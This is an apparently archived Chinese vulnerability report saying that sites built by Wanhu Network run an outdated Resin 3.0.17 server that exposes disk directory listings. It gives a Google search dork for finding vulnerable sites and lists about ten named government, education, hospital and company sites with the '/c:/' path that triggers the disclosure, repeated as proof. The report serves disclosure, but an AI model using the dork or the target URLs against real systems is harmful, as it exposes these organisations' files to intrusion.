万户网络技建站使用中间件Resin版本过低导致众多客户网站磁盘信息泄露

### 简要描述： 万户网络用来建站的中间件为，Resin-3.0.17版本，这个版本有个非常严重的信息泄露 漏洞 。具体详情请翻页。 漏洞介绍 ： 传送门 ：http://www.cnvd.org.cn/flaw/show/CNVD-2006-3233 ### 详细说明： 万户主站：http://www.wanhu.com.cn/ 当然，我只是用来介绍下万户网络，主站木有这个漏洞。 下面请看案例 [<img src="https://images.seebug.org/upload/201310/291051288b64aea0622101640cc2977f833f405f.jpg" alt="google.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/291051288b64aea0622101640cc2977f833f405f.jpg) google hack： All Rights Reserved Designed by Wanhu inurl:jsp [<img src="https://images.seebug.org/upload/201310/291051466ede42e25874d12bf155b8b58c98da94.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/291051466ede42e25874d12bf155b8b58c98da94.jpg) [<img src="https://images.seebug.org/upload/201310/2910515796aaf038fc7c8e3c67593d167be193c7.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/2910515796aaf038fc7c8e3c67593d167be193c7.jpg) 不截图了 直接发有问题的网站。 http://www.ahdx.gov.cn/c:/ 中共安徽党校 http://www.chinafoma.com/c:/ 中国福马机械集团有限公司 http://www.csagency.com.cn/c:/ 中海船务代理有限公司 http://www.ahsft.gov.cn/c:/ 安徽司法行政网 http://www.ahjgxy.com/c:/ 安徽警官职业技术学院 http://www.hfol.com.cn:8080/c:/ 合肥广播电视台 http://www.wzvcst.edu.cn/c:/ 温州科技职业学院 http://www.fydx.gov.cn/c:/ 中共阜阳党校 http://www.shsfkyy.com/c:/ 上海市肺科医院 http://www.linhai.cn/c:/ 林海集团 ### 漏洞证明： http://www.ahdx.gov.cn/c:/ 中共安徽党校 http://www.chinafoma.com/c:/ 中国福马机械集团有限公司 http://www.csagency.com.cn/c:/ 中海船务代理有限公司 http://www.ahsft.gov.cn/c:/ 安徽司法行政网 http://www.ahjgxy.com/c:/ 安徽警官职业技术学院 http://www.hfol.com.cn:8080/c:/ 合肥广播电视台 http://www.wzvcst.edu.cn/c:/ 温州科技职业学院 http://www.fydx.gov.cn/c:/ 中共阜阳党校 http://www.shsfkyy.com/c:/ 上海市肺科医院 http://www.linhai.cn/c:/ 林海集团